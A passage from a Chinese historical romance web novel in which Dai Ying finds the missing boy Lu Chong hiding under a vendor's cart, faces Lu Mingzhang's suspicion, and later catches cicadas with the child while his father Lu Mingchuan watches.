戴缨没空理谢珍,带着归雁往闹动的方向走去,她们刚才在那里上的岸,陆溪儿和小陆崇还在那里。
戴缨越是靠近,心越跳越快,好像出了什么事情。
那些人举着火把,身披轻甲,在岸上来来去去,甲衣刮擦出的铿锵声让空气都紧张起来。
沿河被火把包围,四围被照得通亮,她加紧步子,提着裙摆,近乎小跑起来。
陆溪儿见了她,立马迎上去,双目带着湿意。
戴缨见她这样,展眼四顾,只有陆溪儿和一众仆从,还有坐在地上号号的嬷嬷。
“崇哥儿呢?”
陆溪儿看了湖面一眼,呜咽道:“不见了……”
嬷嬷号得更大声:“哥儿说要去小解,老奴便带他走到避人的地方,他叫我走开,奴退了几步,离了一点距离,谁知等了好一会儿不见他过来,叫了两声又不答应,慌着走去看……人就不见了……”
那嬷嬷一面号一面拍地。
这时,一个身着甲衣的禁卫走了来,向几人面上扫了一眼,抱拳道:“大人有请戴娘子。”
陆溪儿从旁说道:“崇哥儿在水边不见,老夫人惊得胸口疼,我祖母更是直接晕厥过去,大伯和三叔都赶了过来,你快去罢,应是要问一些话,咱们都问过了。”
戴缨点了点头,随着禁卫往就近的一座水榭行去。
走进水榭,水榭里灯火通明,陆铭章立在窗前,面朝外,一手背在身后,声调平平地问道:“你适才去了哪里?”
戴缨立住脚,恭声回道:“回大人的话,阿缨刚才被珍姐儿唤走了。”
“崇哥儿不见,你却被人唤离当场?怎么巧事**都被你碰上?”陆铭章转过身,朝戴缨走来,在距她几步远的地方立住。
“大人这是在怀疑我?”
她听到自己的心跳,一阵湖风,他袖间的香萦系过来。
“你得知婉儿来过书房后,就在怕了,怕我护短,借由头将你请离。”语气平静,字字凿心,“于是先发制人,特意在上房等到深夜,再演一出自请离府的戏,以退为进,叫我反倒不好同你计较。”
戴缨看着眼前之人,在说这话时,他的表情始终淡淡的,自己在他面前,像被人扒光了衣服,毫无隐秘可言。
人家说话已经这样不客气,连遮羞布都给她扯了,自己不能再留在陆府了,就是陆铭章不请她离开,她也没脸留下。
只是眼下有另一样比她脸面更重要的事。
“大人说得是,缨娘有私心,缨娘的小心计在大人面前如同儿戏,逃不过大人的厉目,只是,能否让缨娘帮忙找一找崇哥儿,寻到他,无需大人开口,缨娘自会离开,不叫大人为难。”
陆铭章静看向她,没有任何表态。
戴缨从水榭出来,呼出一口气,环顾四围,堤上堤下皆是移动的火把,呼喊一声连着一声。
以这番声势,只怕不止星月湖,星月湖周边应该都被围守起来。
这么些人来来去去搜找,到目前为止,仍未找到崇哥儿。再看那水面,似有暗影在游动,派人下水了……
戴缨往前走去,陆溪儿立在那里,探着身焦灼地看向湖面,而田婆子仍坐在地上淌眼抹泪,嘴里不住地咕哝着。
“完了……”
“完了……”
“小祖宗不见了……”
“老奴也要跟着去了……”
戴缨走上前,敛裙屈蹲到她的身侧,问道:“嬷嬷,你把刚才说的话再详细道来我听听。”
嬷嬷早已六神无主,双眼痴怔,被人一问,扯着嗓子道:“说什么?!哥儿没了,我也要没了,还说什么!”
话才落地,戴缨未及开口,一个厉声**来:“你这老货!叫你说你就说,再号哭,爷把你甩湖里。”
婆子听那声音,吓得赶紧噤了声,这声音来得太突然,把戴缨也唬了一下,转头去看。
入眼的是一摊水渍,水渍里立着一人,赤着脚,裤腿湿缠在腿上,再往上看,衣摆掖在腰间。
浑身湿漉漉地往地上淌着水,发丝也湿着,半束半散在胸前。
从她这个角度看去,他扬着下巴,双眼往下睨着,看向婆子的目光移到她身上,又拿下巴往婆子身上指了指,对戴缨说道:“问。”
婆子一骨碌爬起,朝那人磕头:“三爷饶命,老奴没看好哥儿。”
戴缨这才知道,原来这位浑身湿透之人是陆崇的父亲,也就是陆家三爷,陆铭川,字廷之的那位。
这时几个仆从躬身走来,牵起帷幕,准备替陆铭川更衣,陆铭川入帷幕前,说道:“她问什么,你答什么。”
婆子连连应是。
耳边是窸窣的更衣声,戴缨赶紧侧过头,重新看向婆子,问道:“你把当时的经过细细讲来,不要卯一句。”
婆子老老实实把当时的经过道了出来。
“小娘子走后,哥儿便拉着我,说要小解。”
“我带他走到树下,他不愿意,说有光,别人会看见,无法,又带他往暗处去。”
戴缨点了点头:“继续说。”
婆子又道:“去了暗处,找了一个地儿,我准备替他松小裤,他躲开了,说他长成大人了,不要人伺候溺尿,叫我去一边。”
“小祖宗的命令我这当下人的哪敢违抗,只好遵从,于是走开几步,让他自己小解。”
婆子说到这里便住了嘴,哭丧着脸把戴缨看着,落后又补了一句:“我走开
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几步,哥儿还嫌不够,让我再远些,说我在跟前他溺不出来……”
婆子又是一声哀号,“到底是不一样了,从小看到大的哥儿,如今却说我在跟前,他就尿不出来。”
头先一听陆崇不见了,戴缨跟着慌了一把,当时没多想,现下再听婆子的话,怎么小陆崇像是有意支开婆子。
为什么要支开婆子?一个五六岁的小儿,支开一个看顾他的下人,能有什么心思呢,戴缨低下头,将今夜的事情前前后后在脑子过了一遍。
手指无意识地在地面画着,指尖一顿,随后起身往湖堤行去。
此时的陆铭川已换上干爽的衣物,从帷幕走了出来,见戴缨双手捉裙,三步并作两步拾级而上,想也不想,跟了上去。
这边的动静早已报知于陆铭章。
当戴缨上到湖堤,抚着胸口,急促地喘着气,咽了咽凉凉的津唾。
游人早已四散,原本热闹的湖堤寂静一片,只有军卫们来回巡视,还有风中猎猎作响的火把声。
不宽不窄的路面上,散乱着小贩们没来得及推走的摊具。有四脚桌,有平板车,还有自制的手推车。
戴缨看向这些摊具,走向一个四方小木桌,木桌边斜了一个草耙子,上面插着各式各样的糖人。
她围着小方桌走了一圈,又折身到旁边的小推车边,
小推车上面架了一张桌面,桌面四周支了棚架,以布罩着,用来挡风,架子上悬了幌子,上面写着:王氏水果酥糕。
陆铭川不知戴缨在看什么,原以为她有了眉目,结果却对着几个摊位来回看。
戴缨走到推车后,架在车上的方桌以布盖着,布摆垂下,于是探手缓缓掀开桌布……
桌布后是一方狭窄的格,格内堆着一些零散的木制器具,在这些杂物中,蜷缩着一个小小的影儿。
那小影儿鼓着腮帮子,嘴边糊着残渣,瞪着一双圆圆的眼。
下一瞬,戴缨将布帘完全揭开,伸出手,轻声道:“崇哥儿,怎么躲这里了?快出来。”
小陆崇见了戴缨,身子往外动了动,作势准备爬出。
另一边的陆铭川快步走来,先是看了一眼戴缨,接着将目光往桌下投去,眉目一凝,提着的心总算松下。
而陆铭川的现身,叫本要出来的陆崇又往回缩,躲到暗影里。
“小子,还不出来?!”陆铭川喝道。
陆崇吓得用小手把眼睛捂住,一声不敢吭。
戴缨看向陆铭川,说道:“大人,想是哥儿有些吓着了,我劝他出来罢。”
陆铭川双手叉着腰挎,点了点头,迈开步子往后退去。
戴缨蹲下身,看向小车内的小儿,轻声道:“崇哥儿快出来,你爹爹走了。”
陆崇摇了摇头,只是不言语。
“你再不出来,我可就进去了,这么小一块地方,也不知挤不挤得下咱俩。”
陆崇听说,先是睁大眼,然后咯咯笑起来。
戴缨伸手将陆崇抱出,小陆崇环着戴缨的脖,将头偎在她的颈间。
陆铭川若有所思地看着一大一小,心头烘出一捻温度,渐渐生出一个念头,走到他兄长身边,欲说些什么……
第25章 你要娶她?
戴缨兜着小陆崇走了出来,欲将他放下,却发现他把自己环得更紧,像猴儿一样攀着一棵不算结实的树。
戴缨自己还是未出嫁的姑娘,小儿长得扎实,抱起时承得住,没一会儿小臂开始酸涩。
“你同我说一说怎么自己跑到湖堤上来了?”
陆崇弱着声气,说道:“我想吃甜糕,嬷嬷不让,不想她跟着。”
“那怎么躲起来?咱们都找你呢。”
“爹爹来了……不敢出来……大伯来了……更不敢出来……”
戴缨大概弄清楚始末了,正想再说什么,一个人风风火火跑来,将小陆崇从戴缨身上抱下。
“我的祖宗——你叫老奴好找,你若出了事,曹老夫人要剐了奴的皮。”
婆子拉着陆崇一把鼻涕一把眼泪,陆崇只是低着头不说话,由着婆子拉走了,走的时候回头看了一眼戴缨。
远处的陆铭川见了,转头对他兄长说道:“崇儿好像很喜欢这丫头。”
陆铭章瞥了一眼陆铭川:“你又在打什么主意。”
陆铭川笑道:“自崇哥儿他娘亲走后,我也没有再续的心思,我看这丫头……”
陆铭川话未说完,陆铭章打断:“你在外面怎样我不管,别玩到家里来。”
“外面的是外面的,我拎得清,我这不是说得正正经经地续弦么。”
“你想娶她?”
陆铭川本想说再观察看看,陆铭章的话再次传来:“这位戴小娘子只是一介商户,身份低微,够不上咱们家的门第,就算你想娶,两位老夫人也不能答应……”
说罢又补了句,“我也不会应下。”
陆铭川怔了怔,问道:“大哥怎么也论起门第来?婉姐儿同谢家那小子,你不也没说什么。”
“谢家门户虽低,谢容这人却有些才干,且再怎样着也是官户,这丫头有什么?行商的人家本就是末流,她自己又一身麻烦,同我们不是一路,做客,以客礼待之,娶不得。”
陆铭川本就一时的心思,不是非娶不可,毕竟没到那个份上,经他大哥如此一说,刚冒出头的心思也就淡了。
陆崇找到后,一众人返回陆府。
上房里灯火通明,原是一家人热热闹闹过节,结果出了这事。好在传了消息来,人找到了。
陆老夫人见了小陆崇身体无大碍,这才放下心,众人也都从旁宽慰。
这时,“啪——”的一声脆响,让屋中安静下来,众人看向声源处。
只见一个珠翠满头的老妇人收回手,举着尖尖的指,戳被她打耳刮的婆子。
“好你个老泼贱,走之前一再交代,叫你把哥儿带好,你那耳朵灌了黄汤不成?!我看你就是成心的,想把我的崇儿丢了,好报复我,要我的老命!”
田婆子胁肩缩脑,捂着脸呜咽。
“你还有脸哭,我当你早该一根绳子吊死在外头,也好过站脏我这地,菩萨跟前我磕了多少头才得这么个金孙,交到你这老杀才手里,你敢把他看丢了。”
老妇人刻薄的话一句接一句,骂得头上的珠翠乱颤。
戴缨从旁看着,老妇人的年纪看起来同陆老夫人不相上下,结合她刚才的话,不难猜出这位应是偏院的曹氏,也就是陆溪儿和陆崇的亲祖母。
喝骂声还在继续。
“哥儿若是少一根头发,把你全家老小捆一处剥皮抽筋也抵不得!”
田婆子扑通一声跪下,拿额撞地,磕得砰砰响。
“老奴知错了,老夫人饶了这回罢,再不敢了。”
满屋子只听到这沉闷的磕碰响,一声又一声。
陆老夫人看不过眼,出声道:“行了,行了,起来罢。”
曹氏走到陆老夫人跟前,抹泪道:“姐姐不知,崇儿就是我的命根子,咱们大房又只他这一棵独苗,他若有个不好,妹妹哪有脸下去见老大人。”
二房的何夫人同三房的姚夫人对看一眼,俱从对方眼中看到了不屑。
好似提醒所有人,她那院子里出来的才是正苗。
陆老夫人先是受了一场惊,这会儿又是吵又是闹的,不得闲静。
陆铭章走了过去,一旁叽里呱啦的曹氏见了,立刻掐灭了话音,闭上嘴,身子跟着晃了晃。
在场之人皆看出来,刚才态度嚣张刻薄的老妇人在怕,她怕陆铭章。
陆铭章扶着自己母亲坐下。
陆老夫人看了屋中众人一眼,开口道:“听说是缨丫头把人找到的?”说着,看向戴缨,朝她招了招手:“来。”
戴缨走了过去。
“这次幸亏有你,否则还不知道怎么样。”陆老夫人说道。
戴缨低下头:“老夫人不计较,哥儿同我一道出府的,真若有什么,阿缨也有一份责任在。”
陆老夫人拍了拍戴缨的手。
陆铭章的目光很自然地低下去,落到那双柔白的手上,再从那双手间抬起,看向手的主人。
戴缨感觉到从旁射来的视线,只作不知,左右她也要离开了,这会儿反倒放松下来。
在离开陆府的前一夜,在回谢家的前一夜。所以,也不去迎合讨好了,就那么冷着神情,立在陆老夫人身侧,包括陆婉儿那幸灾乐祸的眼神也被戴缨忽略。
似是嫌屋里太过安静,曹老夫人又是一声“高唱”:“快,快,把我的崇儿牵来。”
那高高的腔调,像是特意现眼一般,让所有人知晓,她不是无依的,有个流着大房血脉的亲孙儿。
小陆崇听见这一声,吓得一激灵,甩开他父亲的手,一溜烟跑到戴缨身后,紧紧攥住戴缨的衣袖。
这一幕又突然又滑稽。
曹氏傻眼了,众人强
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忍住笑意。
陆老夫人也想笑,但她知道曹氏的德性,怕她觉着没脸,为难戴缨,于是说道:“看来崇儿喜欢缨丫头,也难怪,派出去那么些人都没找到,偏她找到了,这就是缘分。”
曹氏顺着话头下梯子:“不错,不错,崇儿除开我,不随意亲近人,难怪我见了这丫头也喜欢,这就是眼缘。”说罢,看向戴缨,“日后你常到我的桂兰居来,也陪着我说说话。”
戴缨福了福身。
曹氏满意了,面上有光了。
有惊无险,人已找到,其他人相继散去,陆崇也被嬷嬷带回院中歇息。
戴缨侍在老夫人身侧,等人走得差不多时,想了想,就这会儿请辞罢,现下说了,明日直接出府,想定后,正要开口,一个声音**来。
“夜已晚了,母亲早些歇息。”陆铭章给石榴睇了眼色。
石榴赶忙上前,扶着陆老夫人起身,往里间行去。
戴缨目送老夫人离开,陆铭章开口道:“崇哥儿和你投缘,这孩子不常说话,你多陪他。”
戴缨听出话里的意思,所以说,她不用离开了?
虽说她也不想离开陆府,府里老夫人待她好,府中的下人们得了打赏也都听指派,日子过得还算舒心,比在谢府强。
在谢府,一面要提防谢容,一面还要同戴万如斗智斗勇,再加上时不时恶心人的谢珍。
可这么被陆铭章呼来喝去的滋味实在不好受,你让我走我就走?让我留我就留?
“大人先前的话莫不是忘了,缨娘身份虽不高,却也是要脸的,陆府高门显贵,缨娘攀不起,打算明日向老夫人请辞。”
陆铭章一声笑,问道:“我先前说什么了?”
戴缨面上一红,这要怎么说,说他看穿她的伎俩,她让人打听陆婉儿的行踪,最后被他察觉?
今夜在星月湖的水榭里,他一改往日沉静的态度,言辞逼人,那会儿,戴缨才算意识到自己面前是一个什么样的人。
这还只是他愿意展露的一角。
是了,三十出头坐到那个位置,大衍朝的枢密使,以文驭武,手握调兵权,隶属其下的三衙则统兵、率兵。
按典章制度来说,这两方虽为隶属关系,实际是互相牵制。
枢密院有绝对的“调兵权”,三衙屈居其下,却拥着“统兵权”,也就是说纵使陆铭章想调兵办事,可他手里没有一兵一卒。
然而,今日一看……并非如此,利用相权压制武将,再一点点渗透,看来,制度典章终是敌不过**操作。
戴缨不敢再往下想,这些也不是她一个小人物该思考的事。
陆铭章见戴缨面色变了几变,想是自己先前的话说重了,说道:“你是个聪明的,或走或留自己决定,脚长在你身上,来去随你……”
第26章 红粉佳人
陆铭章说罢,往外走去。
戴缨在原处立了一会儿,跟着出了上房,已见不到那人的身影。
回到揽月居,她挺着四肢躺在床上无法入睡,脑中浮闪今日的事情。
归雁披衣,执了一根新的香烛来,把案头快要燃尽烛的换去。然后走到榻边,见戴缨还未睡去。
“娘子怎么还不睡,夜已深了,快些睡罢。”
戴缨往床里缩了缩:“我这会儿睡不着,脑子里塞满了东西,陪我说说话。”
归雁笑着爬到床上,躺下,两人从小一起伴到大的,名义上虽为主仆,情谊却深厚。
“你说我该怎么办呢?”戴缨问道。
“娘子问得哪方面?”归雁侧过身,看向戴缨。
戴缨自顾自说道:“要不咱俩逃走?”
“逃走?”
“对,逃离京都,逃离平谷,去一个没人认识的地方,不再受姑母和父亲的钳制……”戴缨说着说着,嘴角噙起一丝笑意,眼睛也变得悠远,像是跳出了眼前的世界。
归雁跟着笑道:“娘子又在说胡话了。”
戴缨回神。
“先不说这样可不可行,咱们能去哪儿呢,找一个无人认识的地方生活哪有那么容易。”归雁的声音在耳旁絮絮说着,声音很轻。
“就算找了一个落脚之地,赋税时,差办来了,问户主呢?娘子和我都是女儿家,哪有户主?那个时候又该怎么说?”
黑夜里,戴缨沉出一口气,不语,归雁又道:“娘子心里都明白,这是行不通的事,就算想立女户,那也得族中直系和旁系的男子都没了才可。”
戴缨又是一声叹,是啊,衙差来查,没办法应付,这世道,女子想要单立门户,几乎不可能。
若是住到偏远的山间,更不实际,连最起码的安全都不能保证。
这样看来,她出了陆府,又落到戴万如手中,还不如赖在这里,若陆老夫人能给她指一门可靠的亲事,眼下窘迫可解,起码比现在好过一点。
“娘子别多想,这脑瓜子再费神可就要生白发啦,都说车到山前必有路,世事难料,谁能预料以后的事情。”归雁宽慰道。
戴缨确实思虑太过。两人又说了一些夜话,睡了过去。
次日,戴缨去了上房,把辞去的话掩下不提,给陆老夫人问了安,用过早饭,陪着说了一会儿话,回了揽月居。
孔嬷嬷正指着下人扫洒院子。
“如今的天越来越热,多往地上洒些水。”
树上的蝉声还没起势,偶尔吱啦一下,尾音骤然断去。
戴缨回了屋,走到窗榻边,踢了鞋,盘坐到榻上,给自己倒了一杯凉茶,喝了几口,放下杯盏,有些无趣,不知要如何打发时间。
“去拿两本册子来我看。”
归雁应下去了,知道她家主子口中的册子不是书集,而是账本。
归雁将册子拿来,又从行当中取来算盘,一并放到小几上。
戴缨翻看账册,这还是前年绸缎铺的账目,从平谷临行前抽了几本带上。
看着账目上的数字,戴缨有种找到实处的感觉,她就喜欢这些明明白白的数字。
不像文字那样,一句言语可以解读出多种意思,数字不同,一就是一,二就是二,两者合一起就是三,一目了然。
若是有人作假,只需将它们通算一遍,盘一盘,便什么都清楚了。
戴缨一面想着,一面用灵活的指劈里啪啦指拨算珠,一只手快速打着盘,一只手翻着书页,不一会儿,到了最末一章。
在珠粒的碰撞间,她的心里突然生出一个想法。
她如今的困境无非是姑母的刁难和压制,而姑母之所以敢这样明目张胆,不就是因为父亲不维护么。
戴万昌妥妥的商人思维,觉着女儿无用,总是要出嫁的,若是能利用出嫁的女儿再得些好处,那就是两全其美,利益最大化。
可如果她让戴万昌觉得,她还有更大的价值,他自会有另一番思量。
戴万昌的态度至关重要,关系着戴万如对她的态度。
她要怎样做呢……
正是这时,院子里响起一串欢快的脚步声,由远及近,朝她屋里响来。
“哎哟,我的哥儿,您慢些,当心着……”
人还未到,说话声先传了来。
戴缨回头,就见陆崇鸟儿一般扑了进来。
一进屋,先拿眼往屋里四下张看,在看到窗榻边的戴缨时,甩腿跑来,把小靴一踢,爬到榻上。
“我来啦。”说着,眼睛不闲,扭着小脑袋继续好奇地打量屋里的摆设。
婆子走上来,向戴缨福了福身,说道:“扰了小娘子清静。”
戴缨笑道:“不怕他闹,我还嫌这院儿里太静了。”
这时下人们端来茶点和几碟零嘴。
归雁手里端了一盘果拼,走了来:“咱们这儿的吃食,嬷嬷总不会担心了罢。”
婆子赶紧摆手:“不担心,不担心……”
“带嬷嬷下去喝茶。”戴缨对归雁吩咐,又转头看向婆子,“哥儿到了这里,嬷嬷只当得闲,别把自己太累着。”
田婆子也是可怜,遇上曹老夫人那样一个难伺候的主,头上磕的伤结了薄痂,抹了些黄色的膏子。
婆子一走,陆崇不再端着身板,将两只胳膊横在小几上,头枕着胳膊。
“你今日怎么到我这里来了?昨日闹出那样大的动静,我以为你不能出来了。”戴缨打趣道,并不把他当孩子哄,正正常常地和他说话。
陆崇往窗外看了看,跪坐于榻,探身说道:“姐姐附耳来。”
戴缨隔着小几,侧过耳。
“我是偷跑出来的。”陆崇悄声说罢,将头往后仰,眨巴着眼看戴缨的反应。
见戴缨一脸了然的微笑,知道自己的谎言被看穿,改口道:“爹爹回来了,我不用在祖母院子里。”
“所以,你父亲知道你来我这里么?”
陆崇点了点头,又摇了摇头。
“这点头又摇头是什么意思?”戴缨问道。
陆崇嘻嘻笑了一声:“父亲说,以后我不必拘在院子里,只要不出府,想去哪就去哪,若是想出府,同他说一声。”
戴缨从陆溪儿那里得知,小陆崇常年不得自由,想要出院门都难,脾气养得有些古怪,不过就她这么看着,这孩子性子倒还好。
说话间,陆崇的眼睛看向小几上的册子。
“姐姐,这是什么?”
“这是账本。”戴缨给小陆崇倒了一盏茶,递给他。
陆崇抬起头,双手接过,捧着喝了起来,喝的时候,眼珠子从杯沿往账本上滴流。
“账本?”陆崇放下茶盏,把账本拿到跟前,煞有介事地来回翻看,“
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这同我读的书不一样。”
戴缨笑道:“当然不一样,崇哥儿读的书是增长学识的,这账册是用来盘数字,做生意用的。”
陆崇睁大眼:“做生意?姐姐在京都有生意?”
“没有,我家在都中没……”
戴缨话说到一半突然顿住,脑中一个念头闪过,对啊!他们戴家世代居于平谷,生意也只在平谷,如果她给父亲去一封书信,让他把生意做到京都。
在京都开几家分号,而她正好在京都,能代管铺子,就像从前一样。
如此一来,父亲看在这个份上,对她会多一重考量。
这是她目前能为自己争取的。
“姐姐,你怎么了,说话怎的只说一半?”小陆崇丢开账册,又去扒拉算盘珠子,“你是想说,你家在京都没有生意么?”
戴缨拿起一块软糯的栗子糕,送到小儿嘴里,轻松说道:“有,姐姐家很快会在京都打开生意。”
“真的?!”陆崇嘴里包着栗子膏,含糊道。
“嗯,会的,姐姐想办法,一定让它开起来。”
陆崇狠狠地点动脑袋。
戴缨沉在自己思想里,心里一旦起了念头,便有了盼头,又是想着书信的内容,又是想着如何在京都城打开店铺。
戴万昌若是同意她的想法,届时一定让她全权料理,他不会操一点心,这在从前不是没有过。
他知道她的能耐。
戴缨心里盘算着,发现对面有些太过安静,抬眼一看,就见小儿梗着脖,手揪着衣襟,小脸皱到一块。
赶紧给他倒了杯茶水,喂他喝下,起身拍他的背:“怎么噎住了。”
这孩子若是有点什么,她可担不起,就像曹氏说的,他是大房的独苗。
陆崇喉咙里的糕点终于和着水顺下去,咽了咽喉,像个没事人一样,咕噜爬下榻,穿上小靴,在屋子乱转起来。
一会儿这看看,一会儿那摸摸。
看了一圈,估计腻烦了,又颠颠跑到戴缨跟前:“姐姐,我不想在屋里,咱们去园子玩。”
戴缨看了看外面的日头:“崇哥儿,外面可热,你听——”
小陆崇侧过耳朵,静了半晌,问道:“听什么?”
“有蝉声,外面热燥起来了。”
陆崇似懂非懂地点了点头,然后看着戴缨,等她继续说。
戴缨是不愿去园子的,她生平有两怕:一怕热,二怕晒。
旁人日头下久了,至多是肤色深几度,她却不同,晒狠或热狠,一身皮肉便如染霞蔚,泛起连绵绯红,久久不散,活脱脱一“红粉佳人”,只是这“佳人”当得属实辛苦。
世人常打趣“脸皮薄易脸红”,说的是心思浅、易难为情。
可戴缨的“皮薄”却是真的,得亏她养在富户,有好衣料穿,不然就她那一身皮肉,穿麻衣都嫌膈,看着小陆崇期望的眼神,拒绝的话溜到嘴边又悄然咽了回去。
最后两人往内园行去。
戴缨淡妆意闲,身着一质地轻薄的绢衫,颜色是极淡的天青,烟纱下的婉转线条若隐若现,头戴一顶檐边宽大的帷帽,檐围垂挂月白色轻纱,用来遮阳,风起,露出精致小巧的下巴。
小陆崇在丫鬟的伞下欢蹦。
归雁随在另一侧,手里擒着一根细长的竹竿,挎着布兜,另一只手里拿着捕蝉的纱网……
第27章 天儿热,小娘子受累
几人到了内园,没往凉亭去,没往湖溪去,而是径直走到蓊郁的树木下。
三个大人,一个小人立在绿荫地里,耳边是风吹动树叶的沙沙声,还有吱啦吱啦的蝉声……
“快,快,你们把东西拿出来。”陆崇挥开丫鬟手中的伞,迫不及待地说道。
归雁将手里的大、小物放下,面有难色地看向戴缨。
戴缨知道自己丫头,唯怕虫子,于是也不勉强她,当下摘了帷帽,揎起衣袖。
陆崇走了过来,问道:“姐姐你会捕蝉?”
“没捕过,但可以试一试。”戴缨从前也只看家中小厮们玩过。
陆崇跟着把衣袖揎起,小大人似的叉着腰,蹙着眉头,对戴缨的捕蝉技术一脸怀疑。
戴缨见他那样,本是无所谓的心态,瞬间起了兴儿,想要露一手。
“这有何难,不过就是把面筋糊在竹竿上,往蝉身一捅,且看我的罢。”戴缨一面说,一面从瓷罐中取面筋,捏到竹竿顶端。
“真能行?”小陆崇仍有些怀疑。
戴缨拿着竿走到树下,笑道:“小哥儿,瞧好罢。”
树上的蝉像是故意作对似的,骤然安静下来,唯有树叶翻腾的沙沙声。
戴缨在树下仰着脖,睁着一双清湛湛的眼,搜寻树干上、树杪间附着的小东西们,看了半晌,愣是没找到一个。
陆崇在旁边指说道:“那里!姐姐,那里有一只!”
戴缨将身子微屈,顺着方向看去,看了又看:“哪儿呢?”
陆崇再指:“那儿啊!那儿呢……姐姐你看……”
陆崇急得要不得,两只小手捧着戴缨的脸,扳到他认为的方向,若不是他个子矮小,他都想亲自上阵。
戴缨总算看见了,不敢眨眼,生怕一晃神又难找。
她直起身,拿着竹竿的胳膊举起,将粘有面筋的顶端往蝉身上一杵,不出意外……飞走了……
“哎呀!”几人跟着一声惋惜。
戴缨骨子里不服输的劲儿蹭蹭窜起,好在很快又寻到了一只,再次举臂,结果又没粘到。
她已经很小心,一点声音不发出,动作还算迅速,怎么那蝉就像预知了一样,甚至飞得不慌不忙,一点不带怕的。
就这么一会儿,一只蝉没捕着,反燥出一身汗。
归雁上前拿帕子替戴缨拭额角的细汗:“娘子要不歇息会儿。”递上一杯凉茶。
戴缨接过,喝了一口,眼睛笔直地盯着树上的某一处。俨有不成功捕到一只蝉,誓不罢休之势。
“拿着。”
戴缨将手里的茶杯递回,走到另一棵树下,这些蝉鬼得很,像是能看见她似的,于是避到它的后方,单手举竿,慢慢靠近,在快碰到时,快速朝蝉的翅膀一戳。
陆崇最先跳起来:“抓住了!”
戴缨心头狂跳,跟着笑起来。
两个丫头笑闹拊掌:“有了,有了……”
这时,一道清朗的笑声响起。
在戴缨还未反应过来时,陆崇先嚷了出来:“爹爹——”
戴缨循着看去,只见树后的阁楼里凭栏倚着一人。
那人一身朱色常服,窄窄的袖口卷起,翻出里面绵白色的里衣,两条胳膊松松闲闲地搭在栏杆上,嘴角带笑地伏栏看着他们。
戴缨认了出来,这人是陆铭章同父异母的兄弟,陆铭川,也是小陆崇的父亲。
陆铭川本在楼阁品茶,后起身凭栏吹风,就见几人走来,便好奇地瞥了眼,这才发现是那位戴小娘子领着自家小子,不知要做什么。
看了一会儿,发现原来为了捕蝉。
他觉着有些意思,便伏着栏杆观这一幕趣事。
那丫头一双眼很好看,这是陆铭川的第一感觉,仰起头时,脖颈的弧度有种别样的美,一双眼睛里映着斑驳闪烁的流光。
光影在那张俏脸上熠着,小巧的下巴因扬起的角度,有点傲然的意思。
她举着双臂,宽大的袖口随着动作,退到小臂弯,那一身白皙粉腻,倒真有些刺激到了他的眼。
被树隙剪碎的日光落在其头身上,像是融融春雪。
不同于陆铭川的闲适思量,戴缨有些惊异。
他怎么在这里,在这里看了多久?在她思忖间,陆铭川的身影已消失在栏杆处,进了楼阁。
“网兜拿来,把蝉放进去。”戴缨说道。
陆崇忙不迭将网兜拿来,撑开网口,戴缨小心翼翼地将蝉取下,任它在她指间扑腾,一把丢进网兜。
“姐姐,再来一只。”
戴缨从归雁手里接过水,满满灌了一口,看着网兜里的蝉,再看陆崇小脸上欣喜的崇拜样,很有成就感,于是重新在竿上粘面筋,很快又捕获一只。
就在几人欢喜时,陆铭川从树后走来,陆崇见了他父亲,拎着网兜给他父亲看。
“捕了两只。”
陆铭川先看了戴缨一眼,适才隔得远,看不出来,这会儿才发现,她面上泛着霞色,浅浅地一直蔓延到衣领间。
鬓角微湿,细碎的软发湿了汗,黏在腮颊上,小巧的鼻头沁出细小晶莹的汗珠,显然是热着了。
于是接过儿子手里的网兜,将网口系紧,再递回。
“父亲怎么系口了,两只太少,还要捕呢。”陆崇嘟囔道。
“两只够了,爹爹再给你捕一只,你拿手上玩,可好?”
“爹爹也会捕蝉?!”陆崇问道。
陆铭川走到树下,抬头看了看,双足力点,跟着腾身而起,眨眼间,人已越至树杪,探手一摘,只听到“吱——”的一声,落地回身。
陆崇眼中仰慕的光立刻从戴缨转向他父亲。
陆铭川离京时,陆崇还不知事,待他归家,陆崇已近六岁,他发现,原来他的父亲这样厉害,居然会飞!
别说陆崇,就是戴缨也是一脸惊奇。
这世上竟然真的有轻功?!她以为只在书中才有,今日却亲眼见识到了。
戴缨抬起头,不可思议地拿眼度量刚才的高度。
陆铭川将蝉递给陆崇,走到戴缨面前,戴缨反应过来,欠着身道了万福。
陆铭川侧过身,颔首道:“天气热,戴小娘子受累。”
“大人客气了,我本来也无事,出来走一走也好。”戴缨回道。
花灯
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节那晚,天色暗,光线不明,虽离得近,她未看清这位陆家三爷的面目。
而今这充足的光亮里,两人不过几步之隔,自是能清楚地观得对方的样子。
陆铭川的样貌同他兄长陆铭章有几分肖似。
不在整体轮廓,只在眉眼之形,可再看时,又觉得不像了,且这种相似感越来越淡。
陆铭川看起来任达不拘,给人一种英朗外向的气息,而陆铭章更偏沉敛温肃,这二人……全然两派。
“听说,你是从平谷来的?”陆铭川问道。
“是。”
“可有想家?”
戴缨点了点头,怎会不想了,上辈子直到死,她都没能回平谷。
陆铭川笑道:“这个容易,几时我外办,你若想回平谷,我携你绕道走一趟平谷,只怕你不愿意。”
戴缨猛地抬起眼,两眼睁视着陆铭川,想从他的脸上确认他是在玩笑,还是认真的。
陆铭川似是看出她的想法,说道:“没同你玩笑,只是我才回京,手头有许多公务料理。”
不管他的话是真是假,戴缨有那么一瞬被触动,不过并未当真,仍谢道:“大人的话叫缨娘感激不尽,山高路远,归家非易事。”
“山虽高,路虽远,你不也来了京都,既然能来,那么照着来时的路,回去便是。”
照着来时的路回去……戴缨呢喃着。
陆铭川一副疏朗之态,轻扬的言语并不显张狂,好像所有事情到他那里都变得简单明了。
“大人说得是,照着来时的路回去便是。”戴缨嘴角噙笑。
陆铭川摆了摆手:“你把这里当成自家,不必太客气,也别叫我大人,叫……”
陆铭川想了想,好像还真不好称呼,叫三哥罢,差了辈分,叫三叔罢……怪怪的。
捉弄知了的陆崇跑来,振振有词地说道:“我喊缨娘为姐姐,那缨娘该同我一道,叫父亲为爹……唔……”
陆崇话未说完,已叫他父亲一把捂住嘴,立在一边的缨娘并两个丫头俱掩嘴笑了起来。
这时,从湖亭处拐来两人,身后跟了几名奴仆。
待两人走得近了,这才看清,是陆婉儿和谢珍。
陆婉儿显然也没料到,会在这里碰见陆铭川,上前几步福身施礼:“小叔。”
陆铭川点了点头。
一旁的谢珍也跟着福身道:“三爷。”
这一声,叫戴缨身上细毛立起,她从未听谢珍这样软着腔调说话,遂往她脸上看去,居然红了。
正在戴缨思忖间,谢珍碎着步子走到陆崇面前:“哥儿可还记得我?”
陆崇下意识往后退了一步,满眼警惕地盯着谢珍。
